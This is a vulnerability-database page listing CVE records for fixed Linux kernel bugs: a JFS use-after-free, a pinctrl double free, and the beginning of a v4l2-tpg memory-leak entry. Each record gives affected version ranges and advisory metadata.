Linux	Linux	Affected: b40c2e665cd552eae5fbdbb878bc29a34357668e , < 4ac58f7734937f3249da734ede946dfb3b1af5e4 (git) Affected: b40c2e665cd552eae5fbdbb878bc29a34357668e , < 3126ccde51f51b0648c8cdccaf916e8bd062e972 (git) Affected: b40c2e665cd552eae5fbdbb878bc29a34357668e , < fd026b6b6758d5569705c02540b40f3bbf822b9a (git) Affected: b40c2e665cd552eae5fbdbb878bc29a34357668e , < e7ae14f7ee76c6ef5a48aebab1a278ad78f42619 (git) Affected: b40c2e665cd552eae5fbdbb878bc29a34357668e , < 0c238da83f56bb895cab1e5851d034ac45b158d1 (git) Affected: b40c2e665cd552eae5fbdbb878bc29a34357668e , < 4218b31ecc7af7e191768d32e32ed4386d8f9b76 (git) Affected: b40c2e665cd552eae5fbdbb878bc29a34357668e , < a9603a6f75df2fd8125cd208c98cfaa0fe3f7505 (git) Affected: b40c2e665cd552eae5fbdbb878bc29a34357668e , < 95accb7183badca387f7a8d19a2475cf3089f148 (git) Affected: b40c2e665cd552eae5fbdbb878bc29a34357668e , < d6c1b3599b2feb5c7291f5ac3a36e5fa7cedb234 (git)
Linux	Linux	Affected: 3.7 Unaffected: 0 , < 3.7 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49903",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:42:37.771677Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:48:47.346Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:05.835Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:01.170Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/jfs/jfs_discard.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4ac58f7734937f3249da734ede946dfb3b1af5e4",
              "status": "affected",
              "version": "b40c2e665cd552eae5fbdbb878bc29a34357668e",
              "versionType": "git"
            },
            {
              "lessThan": "3126ccde51f51b0648c8cdccaf916e8bd062e972",
              "status": "affected",
              "version": "b40c2e665cd552eae5fbdbb878bc29a34357668e",
              "versionType": "git"
            },
            {
              "lessThan": "fd026b6b6758d5569705c02540b40f3bbf822b9a",
              "status": "affected",
              "version": "b40c2e665cd552eae5fbdbb878bc29a34357668e",
              "versionType": "git"
            },
            {
              "lessThan": "e7ae14f7ee76c6ef5a48aebab1a278ad78f42619",
              "status": "affected",
              "version": "b40c2e665cd552eae5fbdbb878bc29a34357668e",
              "versionType": "git"
            },
            {
              "lessThan": "0c238da83f56bb895cab1e5851d034ac45b158d1",
              "status": "affected",
              "version": "b40c2e665cd552eae5fbdbb878bc29a34357668e",
              "versionType": "git"
            },
            {
              "lessThan": "4218b31ecc7af7e191768d32e32ed4386d8f9b76",
              "status": "affected",
              "version": "b40c2e665cd552eae5fbdbb878bc29a34357668e",
              "versionType": "git"
            },
            {
              "lessThan": "a9603a6f75df2fd8125cd208c98cfaa0fe3f7505",
              "status": "affected",
              "version": "b40c2e665cd552eae5fbdbb878bc29a34357668e",
              "versionType": "git"
            },
            {
              "lessThan": "95accb7183badca387f7a8d19a2475cf3089f148",
              "status": "affected",
              "version": "b40c2e665cd552eae5fbdbb878bc29a34357668e",
              "versionType": "git"
            },
            {
              "lessThan": "d6c1b3599b2feb5c7291f5ac3a36e5fa7cedb234",
              "status": "affected",
              "version": "b40c2e665cd552eae5fbdbb878bc29a34357668e",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/jfs/jfs_discard.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.7"
            },
            {
              "lessThan": "3.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\njfs: Fix uaf in dbFreeBits\n\n[syzbot reported]\n==================================================================\nBUG: KASAN: slab-use-after-free in __mutex_lock_common kernel/locking/mutex.c:587 [inline]\nBUG: KASAN: slab-use-after-free in __mutex_lock+0xfe/0xd70 kernel/locking/mutex.c:752\nRead of size 8 at addr ffff8880229254b0 by task syz-executor357/5216\n\nCPU: 0 UID: 0 PID: 5216 Comm: syz-executor357 Not tainted 6.11.0-rc3-syzkaller-00156-gd7a5aa4b3c00 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 06/27/2024\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:93 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:119\n print_address_description mm/kasan/report.c:377 [inline]\n print_report+0x169/0x550 mm/kasan/report.c:488\n kasan_report+0x143/0x180 mm/kasan/report.c:601\n __mutex_lock_common kernel/locking/mutex.c:587 [inline]\n __mutex_lock+0xfe/0xd70 kernel/locking/mutex.c:752\n dbFreeBits+0x7ea/0xd90 fs/jfs/jfs_dmap.c:2390\n dbFreeDmap fs/jfs/jfs_dmap.c:2089 [inline]\n dbFree+0x35b/0x680 fs/jfs/jfs_dmap.c:409\n dbDiscardAG+0x8a9/0xa20 fs/jfs/jfs_dmap.c:1650\n jfs_ioc_trim+0x433/0x670 fs/jfs/jfs_discard.c:100\n jfs_ioctl+0x2d0/0x3e0 fs/jfs/ioctl.c:131\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:907 [inline]\n __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:893\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n\nFreed by task 5218:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:579\n poison_slab_object+0xe0/0x150 mm/kasan/common.c:240\n __kasan_slab_free+0x37/0x60 mm/kasan/common.c:256\n kasan_slab_free include/linux/kasan.h:184 [inline]\n slab_free_hook mm/slub.c:2252 [inline]\n slab_free mm/slub.c:4473 [inline]\n kfree+0x149/0x360 mm/slub.c:4594\n dbUnmount+0x11d/0x190 fs/jfs/jfs_dmap.c:278\n jfs_mount_rw+0x4ac/0x6a0 fs/jfs/jfs_mount.c:247\n jfs_remount+0x3d1/0x6b0 fs/jfs/super.c:454\n reconfigure_super+0x445/0x880 fs/super.c:1083\n vfs_cmd_reconfigure fs/fsopen.c:263 [inline]\n vfs_fsconfig_locked fs/fsopen.c:292 [inline]\n __do_sys_fsconfig fs/fsopen.c:473 [inline]\n __se_sys_fsconfig+0xb6e/0xf80 fs/fsopen.c:345\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\n[Analysis]\nThere are two paths (dbUnmount and jfs_ioc_trim) that generate race\ncondition when accessing bmap, which leads to the occurrence of uaf.\n\nUse the lock s_umount to synchronize them, in order to avoid uaf caused\nby race condition."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:41:30.436Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4ac58f7734937f3249da734ede946dfb3b1af5e4"
        },
        {
          "url": "https://git.kernel.org/stable/c/3126ccde51f51b0648c8cdccaf916e8bd062e972"
        },
        {
          "url": "https://git.kernel.org/stable/c/fd026b6b6758d5569705c02540b40f3bbf822b9a"
        },
        {
          "url": "https://git.kernel.org/stable/c/e7ae14f7ee76c6ef5a48aebab1a278ad78f42619"
        },
        {
          "url": "https://git.kernel.org/stable/c/0c238da83f56bb895cab1e5851d034ac45b158d1"
        },
        {
          "url": "https://git.kernel.org/stable/c/4218b31ecc7af7e191768d32e32ed4386d8f9b76"
        },
        {
          "url": "https://git.kernel.org/stable/c/a9603a6f75df2fd8125cd208c98cfaa0fe3f7505"
        },
        {
          "url": "https://git.kernel.org/stable/c/95accb7183badca387f7a8d19a2475cf3089f148"
        },
        {
          "url": "https://git.kernel.org/stable/c/d6c1b3599b2feb5c7291f5ac3a36e5fa7cedb234"
        }
      ],
      "title": "jfs: Fix uaf in dbFreeBits",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49903",
    "datePublished": "2024-10-21T18:01:34.603Z",
    "dateReserved": "2024-10-21T12:17:06.027Z",
    "dateUpdated": "2026-05-12T11:59:01.170Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36940 (GCVE-0-2024-36940)

Vulnerability from cvelistv5 – Published: 2024-05-30 15:29 – Updated: 2026-05-12 11:54

Title

pinctrl: core: delete incorrect free in pinctrl_enable()

Summary

In the Linux kernel, the following vulnerability has been resolved: pinctrl: core: delete incorrect free in pinctrl_enable() The "pctldev" struct is allocated in devm_pinctrl_register_and_init(). It's a devm_ managed pointer that is freed by devm_pinctrl_dev_release(), so freeing it in pinctrl_enable() will lead to a double free. The devm_pinctrl_dev_release() function frees the pindescs and destroys the mutex as well.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/735f4c6b6771eafe3…
https://git.kernel.org/stable/c/cdaa171473d98962a…
https://git.kernel.org/stable/c/288bc4aa75f150d6f…
https://git.kernel.org/stable/c/41f88ef8ba387a12f…
https://git.kernel.org/stable/c/ac7d65795827dc0cf…
https://git.kernel.org/stable/c/558c8039fdf596a58…
https://git.kernel.org/stable/c/f9f1e321d53e4c5b6…
https://git.kernel.org/stable/c/5038a66dad0199de6…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6118714275f0a313ecc296a87ed1af32d9691bed , < 735f4c6b6771eafe336404c157ca683ad72a040d (git) Affected: 6118714275f0a313ecc296a87ed1af32d9691bed , < cdaa171473d98962ae86f2a663d398fda2fbeefd (git) Affected: 6118714275f0a313ecc296a87ed1af32d9691bed , < 288bc4aa75f150d6f1ee82dd43c6da1b438b6068 (git) Affected: 6118714275f0a313ecc296a87ed1af32d9691bed , < 41f88ef8ba387a12f4a2b8c400b6c9e8e54b2cca (git) Affected: 6118714275f0a313ecc296a87ed1af32d9691bed , < ac7d65795827dc0cf7662384ed27caf4066bd72e (git) Affected: 6118714275f0a313ecc296a87ed1af32d9691bed , < 558c8039fdf596a584a92c171cbf3298919c448c (git) Affected: 6118714275f0a313ecc296a87ed1af32d9691bed , < f9f1e321d53e4c5b666b66e5b43da29841fb55ba (git) Affected: 6118714275f0a313ecc296a87ed1af32d9691bed , < 5038a66dad0199de60e5671603ea6623eb9e5c79 (git)
Linux	Linux	Affected: 4.11 Unaffected: 0 , < 4.11 (semver) Unaffected: 4.19.314 , ≤ 4.19.* (semver) Unaffected: 5.4.276 , ≤ 5.4.* (semver) Unaffected: 5.10.217 , ≤ 5.10.* (semver) Unaffected: 5.15.159 , ≤ 5.15.* (semver) Unaffected: 6.1.91 , ≤ 6.1.* (semver) Unaffected: 6.6.31 , ≤ 6.6.* (semver) Unaffected: 6.8.10 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36940",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-05T14:25:26.979822Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-05T14:25:33.588Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:43:50.606Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/735f4c6b6771eafe336404c157ca683ad72a040d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cdaa171473d98962ae86f2a663d398fda2fbeefd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/288bc4aa75f150d6f1ee82dd43c6da1b438b6068"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/41f88ef8ba387a12f4a2b8c400b6c9e8e54b2cca"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ac7d65795827dc0cf7662384ed27caf4066bd72e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/558c8039fdf596a584a92c171cbf3298919c448c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f9f1e321d53e4c5b666b66e5b43da29841fb55ba"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5038a66dad0199de60e5671603ea6623eb9e5c79"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00019.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:19.300Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/pinctrl/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "735f4c6b6771eafe336404c157ca683ad72a040d",
              "status": "affected",
              "version": "6118714275f0a313ecc296a87ed1af32d9691bed",
              "versionType": "git"
            },
            {
              "lessThan": "cdaa171473d98962ae86f2a663d398fda2fbeefd",
              "status": "affected",
              "version": "6118714275f0a313ecc296a87ed1af32d9691bed",
              "versionType": "git"
            },
            {
              "lessThan": "288bc4aa75f150d6f1ee82dd43c6da1b438b6068",
              "status": "affected",
              "version": "6118714275f0a313ecc296a87ed1af32d9691bed",
              "versionType": "git"
            },
            {
              "lessThan": "41f88ef8ba387a12f4a2b8c400b6c9e8e54b2cca",
              "status": "affected",
              "version": "6118714275f0a313ecc296a87ed1af32d9691bed",
              "versionType": "git"
            },
            {
              "lessThan": "ac7d65795827dc0cf7662384ed27caf4066bd72e",
              "status": "affected",
              "version": "6118714275f0a313ecc296a87ed1af32d9691bed",
              "versionType": "git"
            },
            {
              "lessThan": "558c8039fdf596a584a92c171cbf3298919c448c",
              "status": "affected",
              "version": "6118714275f0a313ecc296a87ed1af32d9691bed",
              "versionType": "git"
            },
            {
              "lessThan": "f9f1e321d53e4c5b666b66e5b43da29841fb55ba",
              "status": "affected",
              "version": "6118714275f0a313ecc296a87ed1af32d9691bed",
              "versionType": "git"
            },
            {
              "lessThan": "5038a66dad0199de60e5671603ea6623eb9e5c79",
              "status": "affected",
              "version": "6118714275f0a313ecc296a87ed1af32d9691bed",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/pinctrl/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.11"
            },
            {
              "lessThan": "4.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.314",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.276",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.217",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.159",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.91",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.31",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.314",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.276",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.217",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.159",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.91",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.31",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.10",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\npinctrl: core: delete incorrect free in pinctrl_enable()\n\nThe \"pctldev\" struct is allocated in devm_pinctrl_register_and_init().\nIt\u0027s a devm_ managed pointer that is freed by devm_pinctrl_dev_release(),\nso freeing it in pinctrl_enable() will lead to a double free.\n\nThe devm_pinctrl_dev_release() function frees the pindescs and destroys\nthe mutex as well."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:17:27.126Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/735f4c6b6771eafe336404c157ca683ad72a040d"
        },
        {
          "url": "https://git.kernel.org/stable/c/cdaa171473d98962ae86f2a663d398fda2fbeefd"
        },
        {
          "url": "https://git.kernel.org/stable/c/288bc4aa75f150d6f1ee82dd43c6da1b438b6068"
        },
        {
          "url": "https://git.kernel.org/stable/c/41f88ef8ba387a12f4a2b8c400b6c9e8e54b2cca"
        },
        {
          "url": "https://git.kernel.org/stable/c/ac7d65795827dc0cf7662384ed27caf4066bd72e"
        },
        {
          "url": "https://git.kernel.org/stable/c/558c8039fdf596a584a92c171cbf3298919c448c"
        },
        {
          "url": "https://git.kernel.org/stable/c/f9f1e321d53e4c5b666b66e5b43da29841fb55ba"
        },
        {
          "url": "https://git.kernel.org/stable/c/5038a66dad0199de60e5671603ea6623eb9e5c79"
        }
      ],
      "title": "pinctrl: core: delete incorrect free in pinctrl_enable()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36940",
    "datePublished": "2024-05-30T15:29:28.101Z",
    "dateReserved": "2024-05-30T15:25:07.072Z",
    "dateUpdated": "2026-05-12T11:54:19.300Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27078 (GCVE-0-2024-27078)

Vulnerability from cvelistv5 – Published: 2024-05-01 13:04 – Updated: 2026-05-12 11:51

Title

media: v4l2-tpg: fix some memleaks in tpg_alloc

Summary

In the Linux kernel, the following vulnerability has been resolved: media: v4l2-tpg: fix some memleaks in tpg_alloc In tpg_alloc, resources should be deallocated in each and every error-handling paths, since they are allocated in for statements. Otherwise there would be memleaks because tpg_free is called only when tpg_alloc return 0.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/0de691ff547d86dd5…
https://git.kernel.org/stable/c/8269ab16415f2065c…
https://git.kernel.org/stable/c/94303a06e1852a366…
https://git.kernel.org/stable/c/770a57922ce36a847…
https://git.kernel.org/stable/c/6bf5c2fade8ed53b2…
https://git.kernel.org/stable/c/4c86c772fef06f5d7…
https://git.kernel.org/stable/c/31096da07933598da…
https://git.kernel.org/stable/c/622b1cf3852156986…
https://git.kernel.org/stable/c/8cf9c5051076e0eb9…

Impacted products

2 products

Vendor	Product	Version
